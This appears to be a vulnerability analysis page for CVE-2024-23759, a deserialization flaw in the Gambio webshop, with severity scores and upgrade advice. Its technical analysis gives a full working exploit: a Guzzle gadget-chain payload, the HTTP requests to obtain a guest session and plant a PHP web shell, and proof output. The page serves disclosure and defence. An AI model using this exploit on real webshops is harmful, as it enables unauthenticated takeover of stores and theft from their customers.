Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2024-23759

Disclosure Date: February 12, 2024 •
CVE-2024-23759 CVSS v3 Base Score: 9.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

Deserialization of Untrusted Data in Gambio through 4.9.2.0 allows attackers to run arbitrary code via “search” parameter of the Parcelshopfinder/AddAddressBookEntry” function.

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2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Common in enterpriseEasy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

As discussed in my previous attackerkb article CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. I did a search with Shodan using http.component:"Gambio" and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.

The main issue sits in the search parameter of the Parcelshopfinder/AddAddressBookEntry function which is de-serialized without checking the data.

The ParcelshopfinderController.inc.php file contains this vulnerable function (line 291).

$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));    
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {        
    $search    = unserialize(base64_decode($this->_getPostData('search')));
    $psfParams = [
            'street'          => $search[0],
            'house'           => $search[1],
            'zip'             => $search[2],
            'city'            => $search[3],
            'country'         => $search[4],
            'firstname'       => $firstname,
            'lastname'        => $lastname,
            'postnumber'      => $postnumber,
            'additional_info' => $additional_info,
            'error'           => 'invalid_postnumber',
    ];
}

The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.

The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"

echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K

and using the following HTTP POST request:

POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
Cookie: your_cookie

checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t

You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array.

However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully.
You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below.
This does not require any pre-authentication to be successful.

POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded

firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process

IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302 and in the admin page of your online webshop the user should show up at the guest section.

If all goes well, a file cuckoo.php gets created in the webroot directory with the PHP code <?php echo system('whoami');?>.

root@cuckoo:~# cd /var/www
root@cuckoo:/var/www# ls -l cuckoo.php
-rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php
root@cuckoo:/var/www# cat cuckoo.php
[{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

When called for instance with curl http://your_webshop_ip/cuckoo.php, it should give you back the user under which the web service is running.

curl http://192.168.201.25/cuckoo.php
[{"Expires":1,"Discard":false,"Value":"www-data
www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.

Mitigation

If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0 or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0.

References

CVE-2024-23759
Herolab usd Advisory usd-2023-0046
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Gambio Webshop Downloads
Metasploit PR 19005: Gambio Webshop unauthenticated RCE

Credits

Credits goes to the security researchers below who discovered this vulnerability.

  • Christian Poeschl and Lukas Schraven from Herolab usd.
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CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • gambio

Products

  • gambio 4.9.2.0

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis